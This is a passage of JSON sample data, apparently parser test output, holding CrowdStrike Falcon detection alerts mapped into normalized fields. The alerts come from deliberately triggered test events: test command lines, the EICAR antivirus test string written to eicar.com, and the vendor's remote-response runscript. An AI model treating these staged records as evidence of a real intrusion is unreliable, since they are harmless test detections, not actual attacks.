"QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10303, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 90, - "SeverityName": "Critical", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Falcon Overwatch", - "Technique": "Malicious Activity", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 99, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "bd5bfe63bc48507039f7e3afa5b01a70", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "A critical level detection was triggered on this process for testing purposes.", - "process": { - "command_line": "cmd crowdstrike_test_critical", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43444774922", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe", - "parent": { - "entity_id": "43425257674", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:28:54.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "bd5bfe63bc48507039f7e3afa5b01a70" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "A critical level detection was triggered on this process for testing purposes.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "explorer.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10197, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Malware", - "Technique": "Malicious File", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "ce0219f7ab9077db1c089a48eaa82eb1", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930" - }, - "name": "choice.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "For evaluation only - benign, no action needed.", - "process": { - "command_line": "choice /m crowdstrike_sample_detection", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43438097407", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe", - "name": "choice.exe", - "parent": { - "entity_id": "43425257674", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:28:38.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930", - "ce0219f7ab9077db1c089a48eaa82eb1" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "For evaluation only - benign, no action needed.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "falcon-sensor-bpf", - "GrandparentImageFileName": "falcon-sensor-bpf17804", - "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804", - "HostGroups": [ - "5b2e67ccb1de4ac0b1c49225c8fcb132" - ], - "MACAddress": "52-54-00-58-b6-5e", - "Objective": "Follow Through", - "ParentCommandLine": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 30195, - "PlatformId": "3", - "PlatformName": "Linux", - "SensorId": "1d58fa2265b540b79cd057e8fa798e4d", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Execution", - "Technique": "User Execution", - "Type": "ldt" - }, - "device": { - "id": "1d58fa2265b540b79cd057e8fa798e4d" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n# Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n# CrowdStrike Real Time Response command\\n# PARAMETER WD\\n# Current working directory\\n# PARAMETER Param1\\n# Script body - Required\\n# PARAMETER Param2\\n# Command line sent to script\\n# PARAMETER Param3\\n# Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n# Timeout in seconds\\n# NOTES\\n# File Name : runscript.sh\\n# Contact : support@crowdstrike.com\\n# Copyright : CrowdStrike 2020\\n# LINK\\n# https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n echo \\\"$command: $1\\\" >&2\\n exit 1\\n}\\n\\nfunction err_handler()\\n{\\n # Rewrite the error message to remove the internal command prefix\\n echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n eval set -- \\\"$1\\\"\\n echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script=\\\"$1\\\"\\n shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_args=\\\"$1\\\"\\n shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n if [ -n \\\"$script_path\\\" ]; then\\n script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n fi\\n shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n if [ -n \\\"$1\\\" ]; then\\n timeout=\\\"$1\\\"\\n fi\\n shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n current_time=$(get_time)\\n if ((current_time - start_time >= timeout*resolution)); then\\n kill -9 $pid >/dev/null 2>&1\\n echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n kill -9 -$$ >/dev/null 2>&1\\n fi\\n if ((current_time - last_print_time >= print_interval*resolution)); then\\n printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n last_print_time=$current_time\\n fi\\n /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "/usr/bin", - "hash": { - "md5": "21cdb844225f8dc4ea6e9f80f9940a2b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d" - }, - "name": "bash", - "path": "/usr/bin/bash" - }, - "host": { - "hostname": "cs-elastic", - "mac": [ - "52-54-00-58-B6-5E" - ], - "name": "cs-elastic" - }, - "message": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "process": { - "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash", - "end": "2025-07-03T08:55:35.000Z", - "entity_id": "1751532935660927000", - "executable": "/usr/bin/bash", - "name": "bash", - "parent": { - "entity_id": "1751532935654264600", - "executable": "/usr/bin/bash", - "name": "bash" - }, - "start": "2025-07-03T08:55:35.000Z", - "uptime": 0 - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d", - "21cdb844225f8dc4ea6e9f80f9940a2b" - ], - "hosts": [ - "cs-elastic" - ], - "ip": [ - "192.168.64.5" - ], - "user": [ - "root" - ] - }, - "rule": { - "description": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "name": "Attacker Methodology" - }, - "source": { - "address": "192.168.64.5", - "ip": "192.168.64.5" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "root" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "FilesAccessed": [ - { - "FileName": "eicarcom2.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_idx.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "GLEAM-LIGHT.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "GLEAM-DARK.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:41.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:42.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "iconcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:43.000Z" - } - ], - "FilesWritten": [ - { - "FileName": "eicar.com", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:21.000Z" - } - ], - "GrandparentCommandLine": "winlogon.exe", - "GrandparentImageFileName": "winlogon.exe", - "GrandparentImageFilePath": 